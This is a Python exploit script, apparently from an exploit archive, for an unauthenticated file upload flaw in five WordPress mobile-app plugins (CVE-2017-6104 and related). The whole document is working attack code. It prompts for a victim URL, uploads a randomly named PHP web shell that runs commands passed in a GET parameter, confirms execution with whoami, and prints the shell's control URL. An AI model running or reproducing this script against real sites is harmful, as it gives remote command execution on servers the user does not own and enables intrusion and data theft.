WordPress Multiple Plugin File Upload

`import requests  
import random  
import string  
print "---------------------------------------------------------------------"  
print "Multiple Wordpress Plugin - Remote File Upload Exploit\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nCWE: 434\n\n1. Zen App Mobile Native <=3.0 (CVE-2017-6104)\n2. Wordpress Plugin webapp-builder v2.0 (CVE-2017-1002002)\n3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4 CVE-2017-1002003)\n4.Wordpress Plugin mobile-app-builder-by-wappress v1.05 CVE-2017-1002001)\n5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0 (CVE-2017-1002000)\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=178\nhttp://www.vapidlabs.com/advisory.php?v=179\nhttp://www.vapidlabs.com/advisory.php?v=180\nhttp://www.vapidlabs.com/advisory.php?v=181\nhttp://www.vapidlabs.com/advisory.php?v=182"  
print "---------------------------------------------------------------------"  
victim = raw_input("Please Enter victim host e.g. http://example.com: ")  
plug_choice=raw_input ("\n Please choose a number representing the plugin to attack: \n1. Zen App Mobile Native <=3.0\n2. Wordpress Plugin webapp-builder v2.0\n3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4\n4.Wordpress Plugin mobile-app-builder-by-wappress v1.05\n5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0\n")  
if plug_choice=="1":  
plugin="zen-mobile-app-native"  
elif plug_choice=="2":  
plugin="webapp-builder"  
elif plug_choice=="3":  
plugin="wp2android-turn-wp-site-into-android-app"  
elif plug_choice=="4":  
plugin="mobile-app-builder-by-wappress"  
elif plug_choice=="5":  
plugin="mobile-friendly-app-builder-by-easytouch"  
else:  
print "Invalid Plugin choice, I will now exit"  
quit()   
slug = "/wp-content/plugins/"+plugin+"/server/images.php"  
target=victim+slug  
def definShell(size=6, chars=string.ascii_uppercase + string.digits):  
return ''.join(random.choice(chars) for _ in range(size))  
  
shellName= definShell()+".php"  
  
def checkExistence():  
litmusTest = requests.get(target)  
litmusState = litmusTest.status_code  
if litmusState == 200:  
print "\nTesting if vulnerable script is available\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..."  
exploit()  
else:  
print "Target has a funny code & might not be vulnerable, I will now exit\n"  
quit()  
  
def exploit():  
print "\nGenerating Payload: "+shellName+"\n"  
myShell = {'file': (shellName, '<?php echo system($_GET[\'alien\']); ?>')}  
shellEmUp = requests.post(target, files=myShell)  
respShell = shellEmUp.text  
cleanURL = respShell.replace("http://example.com/",victim+"/wp-content/plugins/"+plugin+"/")  
shellLoc = cleanURL.replace(" ", "")  
print "Confirming shell upload by printing current user\n"  
shellTest=requests.get(shellLoc+"?alien=whoami")  
webserverUser=shellTest.text  
if webserverUser == "":  
print "I can't run the command can you try manually on the browser: \n"+shellLoc+"?alien=whoami"  
quit()  
else:  
print "The current webserver user is: "+webserverUser+"\n"  
print "Shell Can be controlled from the browser by running :\n"+shellLoc+"?alien=command"  
quit()  
  
if __name__ == "__main__":  
checkExistence()  
`